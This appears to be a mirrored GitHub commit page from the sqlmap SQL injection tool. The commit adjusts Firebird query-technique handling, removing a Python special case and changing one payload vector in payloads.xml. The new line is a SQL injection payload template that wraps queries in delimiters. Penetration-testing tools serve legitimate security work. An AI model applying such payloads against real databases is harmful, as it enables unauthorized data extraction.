Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit d6a361f

Browse files
committed
Proper implementation for --technique=Q --dbms=Firebird
1 parent 719c7f6 commit d6a361f

2 files changed

Lines changed: 1 addition & 4 deletions

File tree

lib/techniques/error/use.py

Lines changed: 0 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -181,9 +181,6 @@ def _errorFields(expression, expressionFields, expressionFieldsList, num=None, e
181181
else:
182182
expressionReplaced = expression.replace(expressionFields, field, 1)
183183

184-
if kb.technique == PAYLOAD.TECHNIQUE.QUERY and Backend.isDbms(DBMS.FIREBIRD) and expressionReplaced.startswith("SELECT "):
185-
expressionReplaced = "SELECT %s" % agent.concatQuery(expressionReplaced)
186-
187184
output = NULL if emptyFields and field in emptyFields else _oneShotErrorUse(expressionReplaced, field)
188185

189186
if not kb.threadContinue:

xml/payloads.xml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2003,7 +2003,7 @@ Formats:
20032003
<risk>1</risk>
20042004
<clause>1,2,3,8</clause>
20052005
<where>3</where>
2006-
<vector>[QUERY]</vector>
2006+
<vector>SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' FROM RDB$DATABASE</vector>
20072007
<request>
20082008
<payload>SELECT '[DELIMITER_START]'||(CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END)||'[DELIMITER_STOP]' FROM RDB$DATABASE</payload>
20092009
</request>

0 commit comments

Comments
 (0)